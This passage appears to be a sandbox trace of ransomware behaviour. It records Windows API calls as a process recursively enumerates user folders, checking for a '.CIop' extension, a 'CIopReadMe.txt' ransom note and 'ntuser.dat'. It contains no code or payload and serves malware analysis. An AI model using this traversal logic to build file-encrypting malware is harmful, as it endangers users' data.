[0158.993] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0158.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0158.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0158.993] SetErrorMode (uMode=0x1) returned 0x1 [0158.993] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0158.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0158.993] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0158.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0158.993] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0158.993] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0158.993] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0158.993] lstrlenW (lpString=".CIop") returned 5 [0158.993] lstrlenW (lpString=".CIop") returned 5 [0158.993] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.993] lstrlenW (lpString=".CIop") returned 5 [0158.994] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0158.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0158.994] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0f8 [0158.994] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0158.994] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0158.994] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.994] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.994] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.994] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.994] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.994] lstrcmpW (lpString1="_eEl", lpString2="..") returned 1 [0158.994] lstrcmpW (lpString1="_eEl", lpString2=".") returned 1 [0158.994] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0158.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0158.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0158.994] SetErrorMode (uMode=0x1) returned 0x1 [0158.994] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0158.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0158.994] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0158.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0158.994] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.994] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0158.994] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0158.995] lstrlenW (lpString=".CIop") returned 5 [0158.995] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.995] lstrlenW (lpString=".CIop") returned 5 [0158.995] lstrlenW (lpString=".CIop") returned 5 [0158.995] lstrlenW (lpString=".CIop") returned 5 [0158.995] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0158.995] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0158.995] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.995] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0158.995] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0158.995] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.995] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.995] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.995] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0158.995] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0158.995] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0158.996] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0158.996] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0158.996] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0158.996] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0158.996] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0158.996] lstrcatW (in: lpString1="C:\\Users\\", lpString2="Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.996] SetErrorMode (uMode=0x1) returned 0x1 [0158.996] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.996] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0158.996] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\Default\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0158.996] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0158.996] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e478 [0158.996] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0158.996] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0158.996] lstrlenW (lpString="ntuser.dat") returned 10 [0158.996] lstrlenW (lpString="ntuser.dat") returned 10 [0158.996] lstrlenW (lpString="ntuser.dat") returned 10 [0158.996] lstrlenW (lpString="ntuser.dat") returned 10 [0158.996] lstrlenW (lpString="ntuser.dat") returned 10 [0158.996] lstrlenW (lpString="ntuser.dat") returned 10 [0158.996] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.996] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\*.*") returned="C:\\Users\\Default\\*.*" [0158.996] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e6b8 [0158.996] PathFindFileNameW (pszPath="C:\\Users\\Default") returned="Default" [0158.996] lstrcpyW (in: lpString1=0x2dca884, lpString2="Default" | out: lpString1="Default") returned="Default" [0158.997] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0158.997] SetErrorMode (uMode=0x1) returned 0x1 [0158.997] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0158.997] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\AppData\\" | out: lpString1="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0158.997] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0158.997] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0158.997] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0158.997] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\AppData" | out: lpString1="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\AppData\\*.*") returned="C:\\Users\\Default\\AppData\\*.*" [0158.997] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0158.997] PathFindFileNameW (pszPath="C:\\Users\\Default\\AppData") returned="AppData" [0158.997] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0158.997] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0158.997] SetErrorMode (uMode=0x1) returned 0x1 [0158.997] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0158.997] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Application Data\\" | out: lpString1="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0158.997] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.997] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0158.997] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0158.997] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Application Data" | out: lpString1="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0158.997] lstrcatW (in: lpString1="C:\\Users\\Default\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Application Data\\*.*") returned="C:\\Users\\Default\\Application Data\\*.*" [0158.997] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.998] PathFindFileNameW (pszPath="C:\\Users\\Default\\Application Data") returned="Application Data" [0158.998] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0158.998] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0158.998] SetErrorMode (uMode=0x1) returned 0x1 [0158.998] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0158.998] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Cookies\\" | out: lpString1="C:\\Users\\Default\\Cookies\\") returned="C:\\Users\\Default\\Cookies\\" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0158.998] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.998] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0158.998] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0158.998] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Cookies" | out: lpString1="C:\\Users\\Default\\Cookies") returned="C:\\Users\\Default\\Cookies" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default\\Cookies", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Cookies\\*.*") returned="C:\\Users\\Default\\Cookies\\*.*" [0158.998] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Cookies\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.998] PathFindFileNameW (pszPath="C:\\Users\\Default\\Cookies") returned="Cookies" [0158.998] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies" [0158.998] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0158.998] SetErrorMode (uMode=0x1) returned 0x1 [0158.998] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0158.998] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Desktop\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0158.998] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0158.998] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0158.998] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0158.998] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0158.998] lstrlenW (lpString="Desktop") returned 7 [0158.998] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0158.999] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0158.999] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0158.999] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0158.999] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0158.999] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0158.999] lstrlenW (lpString="Desktop") returned 7 [0158.999] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.999] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.999] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0158.999] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0158.999] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0158.999] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0158.999] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0158.999] SetErrorMode (uMode=0x1) returned 0x1 [0158.999] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0158.999] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0158.999] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Documents\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0158.999] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0158.999] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.000] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0159.000] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0159.000] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0159.000] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0159.000] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.001] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0159.001] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0159.001] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0159.001] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0159.001] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0159.001] SetErrorMode (uMode=0x1) returned 0x1 [0159.001] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0159.001] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0159.001] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0159.001] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0159.001] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.001] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0159.001] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0159.001] lstrlenW (lpString=".CIop") returned 5 [0159.001] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0159.001] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.001] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.002] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0159.002] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.002] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0159.002] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0159.002] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0159.002] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") 